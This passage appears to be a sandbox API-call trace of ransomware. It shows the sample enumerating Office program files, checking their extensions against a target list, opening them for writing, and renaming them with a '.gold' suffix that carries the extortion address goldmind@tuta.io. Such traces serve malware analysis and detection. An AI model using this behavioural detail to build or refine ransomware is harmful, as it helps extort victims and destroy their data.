lpOverlapped=0x0) returned 1 [0111.810] SetEndOfFile (hFile=0x3ac) returned 1 [0111.810] CloseHandle (hObject=0x3ac) returned 1 [0111.810] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.810] SetEndOfFile (hFile=0x394) returned 1 [0111.813] CloseHandle (hObject=0x394) returned 1 [0111.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae")) returned 1 [0111.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0111.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0111.904] lstrlenW (lpString=".doc") returned 4 [0111.904] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0111.904] lstrlenW (lpString=".docx") returned 5 [0111.904] lstrcmpiW (lpString1=".docx", lpString2="K.FAE") returned -1 [0111.904] lstrlenW (lpString=".pdf") returned 4 [0111.904] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0111.904] lstrlenW (lpString=".xls") returned 4 [0111.904] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0111.904] lstrlenW (lpString=".xlsx") returned 5 [0111.904] lstrcmpiW (lpString1=".xlsx", lpString2="K.FAE") returned -1 [0111.904] lstrlenW (lpString=".ppt") returned 4 [0111.904] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0111.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0111.904] lstrlenW (lpString=".zip") returned 4 [0111.904] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0111.904] lstrlenW (lpString=".rar") returned 4 [0111.904] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0111.904] lstrlenW (lpString=".bz2") returned 4 [0111.904] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0111.904] lstrlenW (lpString=".7z") returned 3 [0111.904] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0111.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0111.904] lstrlenW (lpString=".dbf") returned 4 [0111.904] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0111.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0111.904] lstrlenW (lpString=".1cd") returned 4 [0111.904] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0111.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0111.904] lstrlenW (lpString=".jpg") returned 4 [0111.904] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0111.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0111.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0111.904] lstrlenW (lpString=".doc") returned 4 [0111.904] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0111.904] lstrlenW (lpString=".docx") returned 5 [0111.904] lstrcmpiW (lpString1=".docx", lpString2="K.FAE") returned -1 [0111.904] lstrlenW (lpString=".pdf") returned 4 [0111.904] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0111.904] lstrlenW (lpString=".xls") returned 4 [0111.905] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0111.905] lstrlenW (lpString=".xlsx") returned 5 [0111.905] lstrcmpiW (lpString1=".xlsx", lpString2="K.FAE") returned -1 [0111.905] lstrlenW (lpString=".ppt") returned 4 [0111.905] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0111.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0111.905] lstrlenW (lpString=".zip") returned 4 [0111.905] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0111.905] lstrlenW (lpString=".rar") returned 4 [0111.905] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0111.905] lstrlenW (lpString=".bz2") returned 4 [0111.905] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0111.905] lstrlenW (lpString=".7z") returned 3 [0111.905] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0111.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0111.905] lstrlenW (lpString=".dbf") returned 4 [0111.905] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0111.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0111.905] lstrlenW (lpString=".1cd") returned 4 [0111.905] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0111.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0111.905] lstrlenW (lpString=".jpg") returned 4 [0111.905] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0111.905] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0111.905] lstrlenW (lpString="DATAGATH.DLL") returned 12 [0111.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0111.916] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=594288) returned 1 [0111.916] CloseHandle (hObject=0x380) returned 1 [0111.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll")) returned 0x20 [0111.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0111.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0111.951] lstrlenW (lpString=".doc") returned 4 [0111.951] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0111.951] lstrlenW (lpString=".docx") returned 5 [0111.951] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0111.951] lstrlenW (lpString=".pdf") returned 4 [0111.951] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0111.952] lstrlenW (lpString=".xls") returned 4 [0111.952] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0111.952] lstrlenW (lpString=".xlsx") returned 5 [0111.952] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0111.952] lstrlenW (lpString=".ppt") returned 4 [0111.952] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0111.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0111.952] lstrlenW (lpString=".zip") returned 4 [0111.952] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0111.952] lstrlenW (lpString=".rar") returned 4 [0111.952] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0111.952] lstrlenW (lpString=".bz2") returned 4 [0111.952] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0111.952] lstrlenW (lpString=".7z") returned 3 [0111.952] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0111.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0111.952] lstrlenW (lpString=".dbf") returned 4 [0111.952] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0111.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0111.952] lstrlenW (lpString=".1cd") returned 4 [0111.952] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0111.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0111.952] lstrlenW (lpString=".jpg") returned 4 [0111.952] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0111.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0111.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0111.952] lstrlenW (lpString=".doc") returned 4 [0111.952] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0111.952] lstrlenW (lpString=".docx") returned 5 [0111.952] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0111.952] lstrlenW (lpString=".pdf") returned 4 [0111.952] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0111.952] lstrlenW (lpString=".xls") returned 4 [0111.952] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0111.952] lstrlenW (lpString=".xlsx") returned 5 [0111.952] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0111.952] lstrlenW (lpString=".ppt") returned 4 [0111.952] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0111.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0111.952] lstrlenW (lpString=".zip") returned 4 [0111.952] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0111.952] lstrlenW (lpString=".rar") returned 4 [0111.952] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0111.952] lstrlenW (lpString=".bz2") returned 4 [0111.952] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0111.952] lstrlenW (lpString=".7z") returned 3 [0111.953] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0111.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0111.953] lstrlenW (lpString=".dbf") returned 4 [0111.953] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0111.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0111.953] lstrlenW (lpString=".1cd") returned 4 [0111.953] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0111.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0111.953] lstrlenW (lpString=".jpg") returned 4 [0111.953] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0111.953] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0111.953] lstrlenW (lpString="DBENGR.DLL") returned 10 [0111.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0111.955] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1197432) returned 1 [0111.955] CloseHandle (hObject=0x380) returned 1 [0111.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll")) returned 0x20 [0111.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0111.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0111.955] lstrlenW (lpString=".doc") returned 4 [0111.955] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0111.956] lstrlenW (lpString=".docx") returned 5 [0111.956] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0111.956] lstrlenW (lpString=".pdf") returned 4 [0111.956] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0111.956] lstrlenW (lpString=".xls") returned 4 [0111.956] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0111.956] lstrlenW (lpString=".xlsx") returned 5 [0111.956] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0111.956] lstrlenW (lpString=".ppt") returned 4 [0111.956] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0111.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0111.956] lstrlenW (lpString=".zip") returned 4 [0111.956] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0111.956] lstrlenW (lpString=".rar") returned 4 [0111.956] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0111.956] lstrlenW (lpString=".bz2") returned 4 [0111.956] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0111.956] lstrlenW (lpString=".7z") returned 3 [0111.956] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0111.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0111.956] lstrlenW (lpString=".dbf") returned 4 [0111.956] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0111.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0111.956] lstrlenW (lpString=".1cd") returned 4 [0111.956] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0111.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0111.956] lstrlenW (lpString=".jpg") returned 4 [0111.956] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0111.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0111.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0111.956] lstrlenW (lpString=".doc") returned 4 [0111.956] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0111.956] lstrlenW (lpString=".docx") returned 5 [0111.956] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0111.956] lstrlenW (lpString=".pdf") returned 4 [0111.956] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0111.956] lstrlenW (lpString=".xls") returned 4 [0111.956] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0111.956] lstrlenW (lpString=".xlsx") returned 5 [0111.956] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0111.956] lstrlenW (lpString=".ppt") returned 4 [0111.956] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0111.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0111.956] lstrlenW (lpString=".zip") returned 4 [0111.957] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0111.957] lstrlenW (lpString=".rar") returned 4 [0111.957] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0111.957] lstrlenW (lpString=".bz2") returned 4 [0111.957] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0111.957] lstrlenW (lpString=".7z") returned 3 [0111.957] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0111.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0111.957] lstrlenW (lpString=".dbf") returned 4 [0111.957] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0111.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0111.957] lstrlenW (lpString=".1cd") returned 4 [0111.957] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0111.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0111.957] lstrlenW (lpString=".jpg") returned 4 [0111.957] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0111.957] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0111.957] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0111.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0111.958] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1369952) returned 1 [0111.958] CloseHandle (hObject=0x380) returned 1 [0111.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll")) returned 0x20 [0111.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0111.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0111.958] lstrlenW (lpString=".doc") returned 4 [0111.958] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0111.958] lstrlenW (lpString=".docx") returned 5 [0111.958] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0111.958] lstrlenW (lpString=".pdf") returned 4 [0111.958] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0111.958] lstrlenW (lpString=".xls") returned 4 [0111.958] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0111.958] lstrlenW (lpString=".xlsx") returned 5 [0111.958] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0111.958] lstrlenW (lpString=".ppt") returned 4 [0111.958] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0111.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0111.958] lstrlenW (lpString=".zip") returned 4 [0111.958] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0111.958] lstrlenW (lpString=".rar") returned 4 [0111.958] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0111.959] lstrlenW (lpString=".bz2") returned 4 [0111.959] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0111.959] lstrlenW (lpString=".7z") returned 3 [0111.959] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0111.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0111.959] lstrlenW (lpString=".dbf") returned 4 [0111.959] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0111.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0111.959] lstrlenW (lpString=".1cd") returned 4 [0111.959] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0111.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0111.959] lstrlenW (lpString=".jpg") returned 4 [0111.959] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0111.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0111.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0111.959] lstrlenW (lpString=".doc") returned 4 [0111.959] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0111.959] lstrlenW (lpString=".docx") returned 5 [0111.959] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0111.959] lstrlenW (lpString=".pdf") returned 4 [0111.959] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0111.959] lstrlenW (lpString=".xls") returned 4 [0111.959] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0111.959] lstrlenW (lpString=".xlsx") returned 5 [0111.959] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0111.959] lstrlenW (lpString=".ppt") returned 4 [0111.959] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0111.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0111.959] lstrlenW (lpString=".zip") returned 4 [0111.959] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0111.959] lstrlenW (lpString=".rar") returned 4 [0111.959] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0111.959] lstrlenW (lpString=".bz2") returned 4 [0111.959] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0111.959] lstrlenW (lpString=".7z") returned 3 [0111.959] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0111.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0111.959] lstrlenW (lpString=".dbf") returned 4 [0111.959] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0111.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0111.959] lstrlenW (lpString=".1cd") returned 4 [0111.959] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0111.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0111.959] lstrlenW (lpString=".jpg") returned 4 [0111.960] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0111.960] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0111.960] lstrlenW (lpString="DBSHARE.DLL") returned 11 [0111.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0111.961] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=99272) returned 1 [0111.961] CloseHandle (hObject=0x380) returned 1 [0111.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll")) returned 0x20 [0111.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0111.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0111.961] lstrlenW (lpString=".doc") returned 4 [0111.961] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0111.961] lstrlenW (lpString=".docx") returned 5 [0111.961] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0111.961] lstrlenW (lpString=".pdf") returned 4 [0111.961] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0111.961] lstrlenW (lpString=".xls") returned 4 [0111.961] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0111.961] lstrlenW (lpString=".xlsx") returned 5 [0111.961] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0111.961] lstrlenW (lpString=".ppt") returned 4 [0111.962] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0111.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0111.962] lstrlenW (lpString=".zip") returned 4 [0111.962] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0111.962] lstrlenW (lpString=".rar") returned 4 [0111.962] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0111.962] lstrlenW (lpString=".bz2") returned 4 [0111.962] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0111.962] lstrlenW (lpString=".7z") returned 3 [0111.962] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0111.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0111.962] lstrlenW (lpString=".dbf") returned 4 [0111.962] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0111.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0111.962] lstrlenW (lpString=".1cd") returned 4 [0111.962] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0111.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0111.962] lstrlenW (lpString=".jpg") returned 4 [0111.962] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0111.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0111.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0111.962] lstrlenW (lpString=".doc") returned 4 [0111.962] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0111.962] lstrlenW (lpString=".docx") returned 5 [0111.962] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0111.962] lstrlenW (lpString=".pdf") returned 4 [0111.962] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0111.962] lstrlenW (lpString=".xls") returned 4 [0111.962] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0111.962] lstrlenW (lpString=".xlsx") returned 5 [0111.962] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0111.962] lstrlenW (lpString=".ppt") returned 4 [0111.962] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0111.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0111.962] lstrlenW 